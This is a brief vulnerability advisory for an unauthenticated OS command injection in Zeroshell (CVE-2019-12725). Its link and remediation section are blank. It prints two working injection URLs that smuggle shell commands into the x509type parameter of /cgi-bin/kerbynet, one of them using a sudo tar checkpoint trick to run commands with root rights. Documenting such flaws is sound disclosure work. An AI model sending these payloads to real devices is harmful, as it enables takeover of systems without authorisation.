ID:5642 - Exploit for OS Command Injection in Zeroshell - CVE-2019-12725

Link to public exploit:

Vulnerability description

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to the some parameters inside a script are used without a properly sanitization. A remote unauthenticated attacker can inject OS commands inside the vulnerable parameters and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Auname -a%0A'
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id%0A'

Remediation